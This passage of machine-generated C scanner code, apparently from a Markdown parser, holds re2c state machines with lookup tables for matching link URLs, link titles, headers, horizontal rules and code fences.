(yych == 'E') goto yy624; if (yych == 'e') goto yy624; goto yy554; yy719: yych = *++p; if (yych == 'K') goto yy745; if (yych == 'k') goto yy745; goto yy554; yy720: yych = *++p; if (yych == 'O') goto yy746; if (yych == 'o') goto yy746; goto yy554; yy721: yych = *++p; if (yych == 'A') goto yy747; if (yych == 'a') goto yy747; goto yy554; yy722: yych = *++p; if (yych == 'I') goto yy720; if (yych == 'i') goto yy720; goto yy554; yy723: yych = *++p; if (yych == 'D') goto yy624; if (yych == 'd') goto yy624; goto yy554; yy724: yych = *++p; if (yych == 'D') goto yy748; if (yych == 'd') goto yy748; goto yy554; yy725: yych = *++p; if (yych == 'A') goto yy749; if (yych == 'a') goto yy749; goto yy554; yy726: yych = *++p; if (yych == 'R') goto yy718; if (yych == 'r') goto yy718; goto yy554; yy727: yych = *++p; if (yych == 'E') goto yy750; if (yych == 'e') goto yy750; goto yy554; yy728: yych = *++p; if (yych == 'U') goto yy632; if (yych == 'u') goto yy632; goto yy554; yy729: yych = *++p; if (yych == 'M') goto yy718; if (yych == 'm') goto yy718; goto yy554; yy730: yych = *++p; if (yych == 'C') goto yy735; if (yych == 'c') goto yy735; goto yy554; yy731: yych = *++p; if (yych == 'U') goto yy735; if (yych == 'u') goto yy735; goto yy554; yy732: yych = *++p; if (yych == 'R') goto yy751; if (yych == 'r') goto yy751; goto yy554; yy733: yych = *++p; if (yych == 'P') goto yy735; if (yych == 'p') goto yy735; goto yy554; yy734: yych = *++p; if (yych == 'A') goto yy752; if (yych == 'a') goto yy752; goto yy554; yy735: yych = *++p; if (yych == 'T') goto yy624; if (yych == 't') goto yy624; goto yy554; yy736: yych = *++p; if (yych == 'O') goto yy624; if (yych == 'o') goto yy624; goto yy554; yy737: yych = *++p; if (yych == 'Q') goto yy753; if (yych == 'q') goto yy753; goto yy554; yy738: yych = *++p; if (yych == 'N') goto yy594; if (yych == 'n') goto yy594; goto yy554; yy739: yych = *++p; if (yych == 'S') goto yy594; if (yych == 's') goto yy594; goto yy554; yy740: yych = *++p; if (yych == 'S') goto yy754; if (yych == 's') goto yy754; goto yy554; yy741: yych = *++p; if (yych == 'P') goto yy653; if (yych == 'p') goto yy653; goto yy554; yy742: yych = *++p; if (yych == 'R') goto yy594; if (yych == 'r') goto yy594; goto yy554; yy743: yych = *++p; if (yych == 'E') goto yy755; if (yych == 'e') goto yy755; goto yy554; yy744: yych = *++p; if (yych == 'R') goto yy756; if (yych == 'r') goto yy756; goto yy554; yy745: yych = *++p; if (yych == 'Q') goto yy757; if (yych == 'q') goto yy757; goto yy554; yy746: yych = *++p; if (yych == 'N') goto yy624; if (yych == 'n') goto yy624; goto yy554; yy747: yych = *++p; if (yych == 'S') goto yy624; if (yych == 's') goto yy624; goto yy554; yy748: yych = *++p; if (yych == 'S') goto yy758; if (yych == 's') goto yy758; goto yy554; yy749: yych = *++p; if (yych == 'P') goto yy678; if (yych == 'p') goto yy678; goto yy554; yy750: yych = *++p; if (yych == 'R') goto yy624; if (yych == 'r') goto yy624; goto yy554; yy751: yych = *++p; if (yych == 'E') goto yy759; if (yych == 'e') goto yy759; goto yy554; yy752: yych = *++p; if (yych == 'R') goto yy760; if (yych == 'r') goto yy760; goto yy554; yy753: yych = *++p; if (yych == 'U') goto yy761; if (yych == 'u') goto yy761; goto yy554; yy754: yych = *++p; if (yych == 'E') goto yy715; if (yych == 'e') goto yy715; goto yy554; yy755: yych = *++p; if (yych == 'S') goto yy739; if (yych == 's') goto yy739; goto yy554; yy756: yych = *++p; if (yych == 'E') goto yy762; if (yych == 'e') goto yy762; goto yy554; yy757: yych = *++p; if (yych == 'U') goto yy763; if (yych == 'u') goto yy763; goto yy554; yy758: yych = *++p; if (yych == 'E') goto yy735; if (yych == 'e') goto yy735; goto yy554; yy759: yych = *++p; if (yych == 'S') goto yy747; if (yych == 's') goto yy747; goto yy554; yy760: yych = *++p; if (yych == 'E') goto yy764; if (yych == 'e') goto yy764; goto yy554; yy761: yych = *++p; if (yych == 'O') goto yy765; if (yych == 'o') goto yy765; goto yy554; yy762: yych = *++p; if (yych == 'A') goto yy594; if (yych == 'a') goto yy594; goto yy554; yy763: yych = *++p; if (yych == 'O') goto yy766; if (yych == 'o') goto yy766; goto yy554; yy764: yych = *++p; if (yych == 'A') goto yy624; if (yych == 'a') goto yy624; goto yy554; yy765: yych = *++p; if (yych == 'T') goto yy698; if (yych == 't') goto yy698; goto yy554; yy766: yych = *++p; if (yych == 'T') goto yy718; if (yych == 't') goto yy718; goto yy554; } } // Try to match a URL in a link or reference, return number of chars matched. // This may optionally be contained in <..>; otherwise // whitespace and unbalanced right parentheses aren't allowed. // Newlines aren't ever allowed. int _scan_link_url(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; unsigned int yyaccept = 0; static const unsigned char yybm[] = { 0, 64, 64, 64, 64, 64, 64, 64, 64, 64, 8, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 72, 112, 112, 112, 112, 112, 112, 112, 64, 64, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 16, 112, 16, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 128, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, }; yych = *p; if (yybm[0+yych] & 8) { goto yy771; } if (yych <= ')') { if (yych <= 0x1F) goto yy769; if (yych <= '\'') goto yy774; if (yych <= '(') goto yy776; } else { if (yych <= '<') { if (yych <= ';') goto yy774; goto yy777; } else { if (yych == '\\') goto yy779; goto yy774; } } yy769: ++p; yy770: { return 0; } yy771: yyaccept = 0; yych = *(marker = ++p); if (yybm[0+yych] & 8) { goto yy771; } if (yych <= ')') { if (yych <= 0x1F) goto yy773; if (yych <= '\'') goto yy774; if (yych <= '(') goto yy780; } else { if (yych <= '<') { if (yych <= ';') goto yy774; goto yy777; } else { if (yych == '\\') goto yy783; goto yy774; } } yy773: { return (p - start); } yy774: yyaccept = 0; yych = *(marker = ++p); yy775: if (yybm[0+yych] & 16) { goto yy774; } if (yych <= ' ') goto yy773; if (yych <= '(') goto yy780; if (yych <= ')') goto yy773; goto yy783; yy776: yyaccept = 1; yych = *(marker = ++p); if (yych <= ' ') goto yy770; if (yych == '(') goto yy770; goto yy781; yy777: yyaccept = 0; yych = *(marker = ++p); if (yybm[0+yych] & 32) { goto yy777; } if (yych <= ' ') { if (yych <= 0x00) goto yy773; if (yych == '\n') goto yy773; goto yy785; } else { if (yych <= ')') { if (yych <= '(') goto yy787; goto yy785; } else { if (yych <= '<') goto yy774; if (yych <= '>') goto yy789; goto yy791; } } yy779: yych = *++p; if (yych <= '@') { if (yych <= ' ') goto yy770; if (yych <= '/') goto yy774; if (yych <= '9') goto yy770; goto yy774; } else { if (yych <= '`') { if (yych <= 'Z') goto yy770; goto yy774; } else { if (yych <= 'z') goto yy770; if (yych <= '~') goto yy774; goto yy770; } } yy780: yych = *++p; yy781: if (yych <= '(') { if (yych <= ' ') goto yy782; if (yych <= '\'') goto yy780; } else { if (yych <= ')') goto yy774; if (yych == '\\') goto yy784; goto yy780; } yy782: p = marker; if (yyaccept <= 1) { if (yyaccept == 0) { goto yy773; } else { goto yy770; } } else { goto yy790; } yy783: yych = *++p; if (yych <= '@') { if (yych <= ' ') goto yy782; if (yych <= '/') goto yy774; if (yych <= '9') goto yy782; goto yy774; } else { if (yych <= '`') { if (yych <= 'Z') goto yy782; goto yy774; } else { if (yych <= 'z') goto yy782; if (yych <= '~') goto yy774; goto yy782; } } yy784: yych = *++p; if (yych <= '@') { if (yych <= ' ') goto yy782; if (yych <= '/') goto yy780; if (yych <= '9') goto yy782; goto yy780; } else { if (yych <= '`') { if (yych <= 'Z') goto yy782; goto yy780; } else { if (yych <= 'z') goto yy782; if (yych <= '~') goto yy780; goto yy782; } } yy785: yych = *++p; if (yybm[0+yych] & 64) { goto yy785; } if (yych <= '<') goto yy782; if (yych <= '>') goto yy792; goto yy793; yy787: yych = *++p; if (yych <= ')') { if (yych <= '\n') { if (yych <= 0x00) goto yy782; if (yych <= '\t') goto yy785; goto yy782; } else { if (yych <= ' ') goto yy785; if (yych <= '\'') goto yy787; if (yych <= '(') goto yy785; goto yy777; } } else { if (yych <= '=') { if (yych == '<') goto yy780; goto yy787; } else { if (yych <= '>') goto yy795; if (yych == '\\') goto yy796; goto yy787; } } yy789: yyaccept = 2; yych = *(marker = ++p); if (yych <= ' ') goto yy790; if (yych != ')') goto yy775; yy790: { return (p - start); } yy791: yych = *++p; if (yych <= '>') { if (yych <= ' ') { if (yych <= 0x00) goto yy782; if (yych == '\n') goto yy782; goto yy785; } else { if (yych <= '/') goto yy777; if (yych <= '9') goto yy785; if (yych <= '=') goto yy777; goto yy797; } } else { if (yych <= '\\') { if (yych <= '@') goto yy777; if (yych <= 'Z') goto yy785; if (yych <= '[') goto yy777; goto yy798; } else { if (yych <= '`') goto yy777; if (yych <= 'z') goto yy785; if (yych <= '~') goto yy777; goto yy785; } } yy792: ++p; goto yy790; yy793: yych = *++p; if (yybm[0+yych] & 128) { goto yy793; } if (yych <= '\n') { if (yych <= 0x00) goto yy782; if (yych <= '\t') goto yy785; goto yy782; } else { if (yych == '>') goto yy799; goto yy785; } yy795: yyaccept = 2; yych = *(marker = ++p); if (yych <= ' ') goto yy790; if (yych == '(') goto yy790; goto yy781; yy796: yych = *++p; if (yych <= '>') { if (yych <= ' ') { if (yych <= 0x00) goto yy782; if (yych == '\n') goto yy782; goto yy785; } else { if (yych <= '/') goto yy787; if (yych <= '9') goto yy785; if (yych <= '=') goto yy787; goto yy800; } } else { if (yych <= '\\') { if (yych <= '@') goto yy787; if (yych <= 'Z') goto yy785; if (yych <= '[') goto yy787; goto yy801; } else { if (yych <= '`') goto yy787; if (yych <= 'z') goto yy785; if (yych <= '~') goto yy787; goto yy785; } } yy797: yyaccept = 2; yych = *(marker = ++p); if (yybm[0+yych] & 32) { goto yy777; } if (yych <= ' ') { if (yych <= 0x00) goto yy790; if (yych == '\n') goto yy790; goto yy785; } else { if (yych <= ')') { if (yych <= '(') goto yy787; goto yy785; } else { if (yych <= '<') goto yy774; if (yych <= '>') goto yy789; goto yy791; } } yy798: yyaccept = 0; yych = *(marker = ++p); if (yych <= '(') { if (yych <= '\n') { if (yych <= 0x00) goto yy773; if (yych <= '\t') goto yy785; goto yy773; } else { if (yych <= ' ') goto yy785; if (yych <= '\'') goto yy777; goto yy787; } } else { if (yych <= '>') { if (yych <= ')') goto yy785; if (yych <= '=') goto yy777; goto yy797; } else { if (yych == '\\') goto yy791; goto yy777; } } yy799: yyaccept = 2; yych = *(marker = ++p); if (yybm[0+yych] & 64) { goto yy785; } if (yych <= '<') goto yy790; if (yych <= '>') goto yy792; goto yy793; yy800: yyaccept = 2; yych = *(marker = ++p); if (yych <= ')') { if (yych <= '\n') { if (yych <= 0x00) goto yy790; if (yych <= '\t') goto yy785; goto yy790; } else { if (yych <= ' ') goto yy785; if (yych <= '\'') goto yy787; if (yych <= '(') goto yy785; goto yy777; } } else { if (yych <= '=') { if (yych == '<') goto yy780; goto yy787; } else { if (yych <= '>') goto yy795; if (yych == '\\') goto yy796; goto yy787; } } yy801: yych = *++p; if (yych <= '(') { if (yych <= '\n') { if (yych <= 0x00) goto yy782; if (yych <= '\t') goto yy785; goto yy782; } else { if (yych <= ' ') goto yy785; if (yych <= '\'') goto yy787; goto yy785; } } else { if (yych <= '>') { if (yych <= ')') goto yy777; if (yych <= '=') goto yy787; goto yy800; } else { if (yych == '\\') goto yy796; goto yy787; } } } } // Try to match a link title (in single quotes, in double quotes, or // in parentheses), returning number of chars matched. Allow one // level of internal nesting (quotes within quotes). int _scan_link_title(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; unsigned int yyaccept = 0; static const unsigned char yybm[] = { 0, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 192, 208, 208, 208, 208, 144, 208, 80, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 32, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, }; yych = *p; if (yych <= '"') { if (yych == '\n') goto yy804; if (yych <= '!') goto yy805; goto yy806; } else { if (yych <= '&') goto yy805; if (yych <= '\'') goto yy807; if (yych <= '(') goto yy808; goto yy805; } yy804: { return 0; } yy805: ++p; goto yy804; yy806: yyaccept = 0; yych = *(marker = ++p); if (yych <= 0x00) goto yy804; goto yy810; yy807: yyaccept = 0; yych = *(marker = ++p); if (yych <= 0x00) goto yy804; goto yy817; yy808: yyaccept = 0; yych = *(marker = ++p); if (yych <= 0x00) goto yy804; goto yy823; yy809: yych = *++p; yy810: if (yybm[0+yych] & 16) { goto yy809; } if (yych <= 0x00) goto yy811; if (yych <= '"') goto yy812; goto yy814; yy811: p = marker; if (yyaccept <= 1) { if (yyaccept == 0) { goto yy804; } else { goto yy813; } } else { if (yyaccept == 2) { goto yy819; } else { goto yy825; } } yy812: ++p; yy813: { return (p - start); } yy814: yych = *++p; if (yybm[0+yych] & 16) { goto yy809; } if (yych <= 0x00) goto yy811; if (yych <= '"') goto yy828; goto yy814; yy816: yych = *++p; yy817: if (yybm[0+yych] & 64) { goto yy816; } if (yych <= 0x00) goto yy811; if (yych >= '(') goto yy820; yy818: ++p; yy819: { return (p - start); } yy820: yych = *++p; if (yybm[0+yych] & 64) { goto yy816; } if (yych <= 0x00) goto yy811; if (yych <= '\'') goto yy829; goto yy820; yy822: yych = *++p; yy823: if (yybm[0+yych] & 128) { goto yy822; } if (yych <= 0x00) goto yy811; if (yych >= '*') goto yy826; yy824: ++p; yy825: { return (p - start); } yy826: yych = *++p; if (yybm[0+yych] & 128) { goto yy822; } if (yych <= 0x00) goto yy811; if (yych <= ')') goto yy830; goto yy826; yy828: yyaccept = 1; yych = *(marker = ++p); if (yybm[0+yych] & 16) { goto yy809; } if (yych <= 0x00) goto yy813; if (yych <= '"') goto yy812; goto yy814; yy829: yyaccept = 2; yych = *(marker = ++p); if (yybm[0+yych] & 64) { goto yy816; } if (yych <= 0x00) goto yy819; if (yych <= '\'') goto yy818; goto yy820; yy830: yyaccept = 3; yych = *(marker = ++p); if (yybm[0+yych] & 128) { goto yy822; } if (yych <= 0x00) goto yy825; if (yych <= ')') goto yy824; goto yy826; } } // Match space characters, including newlines. int _scan_spacechars(const unsigned char *p) { const unsigned char *start = p; \ { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 128, 128, 128, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yybm[0+yych] & 128) { goto yy835; } ++p; { return 0; } yy835: yych = *++p; if (yybm[0+yych] & 128) { goto yy835; } { return (p - start); } } } // Match ATX header start. int _scan_atx_header_start(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yych == '\n') goto yy840; if (yych == '#') goto yy842; goto yy841; yy840: { return 0; } yy841: ++p; goto yy840; yy842: yych = *(marker = ++p); if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; if (yych == '#') goto yy847; goto yy840; yy843: ++p; yy844: { return (p - start); } yy845: yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } goto yy844; yy847: yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; if (yych == '#') goto yy849; yy848: p = marker; goto yy840; yy849: yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; if (yych != '#') goto yy848; yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; if (yych != '#') goto yy848; yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; if (yych != '#') goto yy848; yych = *++p; if (yybm[0+yych] & 128) { goto yy845; } if (yych == '\n') goto yy843; goto yy848; } } // Match sexext header line. Return 1 for level-1 header, // 2 for level-2, 0 for no match. int _scan_setext_header_line(const unsigned char *p) { const unsigned char *marker = NULL; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yych <= ',') { if (yych != '\n') goto yy856; } else { if (yych <= '-') goto yy857; if (yych == '=') goto yy858; goto yy856; } yy855: { return 0; } yy856: ++p; goto yy855; yy857: yych = *(marker = ++p); if (yybm[0+yych] & 32) { goto yy861; } if (yych == '\n') goto yy859; if (yych == '-') goto yy864; goto yy855; yy858: yych = *(marker = ++p); if (yybm[0+yych] & 128) { goto yy870; } if (yych == '\n') goto yy866; if (yych == ' ') goto yy868; goto yy855; yy859: ++p; { return 2; } yy861: yych = *++p; if (yybm[0+yych] & 32) { goto yy861; } if (yych == '\n') goto yy859; yy863: p = marker; goto yy855; yy864: yych = *++p; if (yybm[0+yych] & 32) { goto yy861; } if (yych == '\n') goto yy859; if (yych == '-') goto yy864; goto yy863; yy866: ++p; { return 1; } yy868: yych = *++p; if (yych == '\n') goto yy866; if (yych == ' ') goto yy868; goto yy863; yy870: yych = *++p; if (yybm[0+yych] & 128) { goto yy870; } if (yych == '\n') goto yy866; if (yych == ' ') goto yy868; goto yy863; } } // Scan a horizontal rule line: "...three or more hyphens, asterisks, // or underscores on a line by themselves. If you wish, you may use // spaces between the hyphens or asterisks." int _scan_hrule(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yych <= '*') { if (yych == '\n') goto yy874; if (yych <= ')') goto yy875; goto yy876; } else { if (yych <= '-') { if (yych <= ',') goto yy875; goto yy877; } else { if (yych == '_') goto yy878; goto yy875; } } yy874: { return 0; } yy875: ++p; goto yy874; yy876: yych = *(marker = ++p); if (yybm[0+yych] & 8) { goto yy879; } if (yych == '*') goto yy882; goto yy874; yy877: yych = *(marker = ++p); if (yych == ' ') goto yy884; if (yych == '-') goto yy886; goto yy874; yy878: yych = *(marker = ++p); if (yych == ' ') goto yy888; if (yych == '_') goto yy890; goto yy874; yy879: yych = *++p; if (yybm[0+yych] & 8) { goto yy879; } if (yych == '*') goto yy882; yy881: p = marker; goto yy874; yy882: yych = *++p; if (yych == ' ') goto yy882; if (yych == '*') goto yy892; goto yy881; yy884: yych = *++p; if (yych == ' ') goto yy884; if (yych != '-') goto yy881; yy886: yych = *++p; if (yych == ' ') goto yy886; if (yych == '-') goto yy894; goto yy881; yy888: yych = *++p; if (yych == ' ') goto yy888; if (yych != '_') goto yy881; yy890: yych = *++p; if (yych == ' ') goto yy890; if (yych == '_') goto yy896; goto yy881; yy892: yych = *++p; if (yybm[0+yych] & 16) { goto yy892; } if (yych <= 0x08) goto yy881; if (yych <= '\t') goto yy898; if (yych <= '\n') goto yy900; goto yy881; yy894: yych = *++p; if (yybm[0+yych] & 32) { goto yy894; } if (yych <= 0x08) goto yy881; if (yych <= '\t') goto yy902; if (yych <= '\n') goto yy904; goto yy881; yy896: yych = *++p; if (yybm[0+yych] & 64) { goto yy896; } if (yych <= 0x08) goto yy881; if (yych <= '\t') goto yy906; if (yych <= '\n') goto yy908; goto yy881; yy898: yych = *++p; if (yybm[0+yych] & 128) { goto yy898; } if (yych <= 0x08) goto yy881; if (yych >= '\v') goto yy881; yy900: ++p; { return (p - start); } yy902: yych = *++p; if (yych <= '\n') { if (yych <= 0x08) goto yy881; if (yych <= '\t') goto yy902; } else { if (yych == ' ') goto yy902; goto yy881; } yy904: ++p; { return (p - start); } yy906: yych = *++p; if (yych <= '\n') { if (yych <= 0x08) goto yy881; if (yych <= '\t') goto yy906; } else { if (yych == ' ') goto yy906; goto yy881; } yy908: ++p; { return (p - start); } } } // Scan an opening code fence. int _scan_open_code_fence(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 192, 192, 192, 192, 192, 192, 192, 192, 192, 0, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 144, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 96, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, 192, }; yych = *p; if (yych <= '_') { if (yych != '\n') goto yy913; } else { if (yych <= 